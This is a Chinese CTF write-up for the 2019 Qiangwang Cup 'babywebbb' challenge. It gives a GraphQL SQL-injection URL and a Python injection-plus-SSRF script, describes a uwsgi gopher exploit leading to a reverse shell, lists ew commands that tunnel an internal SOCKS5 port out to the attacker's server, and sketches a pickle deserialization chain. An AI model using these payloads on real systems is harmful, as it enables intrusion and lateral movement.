babywebbb
**一開始這題都摸不著門路,枯了……
然后day2中午的時候,隊友告訴我存在證書泄漏
找到

域名綁定到hosts,就可以訪問了,后來才知道,本題nginx做代理時,是與域名綁定的。 結合一開始發現的rsync的未授權訪問獲取的源碼 有一個graphQL的API服務存在注入
通過注入獲取session后,進一步ssrf
注入+SSRF腳本
login = "https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login?query=%7B%0A%20%20recv%20(%0A%20%20%20%20data%3A%22%7B%5C%22operate%5C%22%3A%5C%22login%5C%22%2C%5C%22username%5C%22%3A%5C%22%5C%5C%5C%22or%202%3D2%23%5C%22%2C%5C%22password%5C%22%3A%5C%22%5C%22%7D%22%0A%20%20)%0A%7D"
s = requests.Session()
r = s.get(login,verify=False)
ssrf = "https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg"
data = {
"newurl":sys.argv[1]
}
r = s.post(ssrf,verify=False,data=data,timeout=5)
print(base64.b64decode(r.content))
可以發現發現

存在uwsgi
用uwsgi的命令執行腳本進行修改,將gopher語句輸出后,通過ssrf打127.0.0.1:3031

成功反彈shell

根據提示socks5,通過掃描發現172.16.17.4開發1080端口。在內網機器上使用ew進行代理
./ew_for_linux64 -s lcx_slave -d 0.0.0.0 -e 4000 -f 172.16.17.4 -g 1080
自己的公網服務器執行
./ew_for_linux64 -s lcx_listen -l 1089 -e 4000
通過反代出來的socks5進內網

代碼審計給出的代碼https://paste.ubuntu.com/p/q4xJBfm3Bb/

回溯func waf

log記錄數據

存在任意文件寫 回溯saveall

同時session類里有調用了pickle.load,因此存在反序列化
題目又關了
因此可能的執行流程為(講道理應該可以,測試不了了233333
構造反序列化payload
User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登錄觸發反序列化
User 2 -> getflag**
2019強網杯-Writeup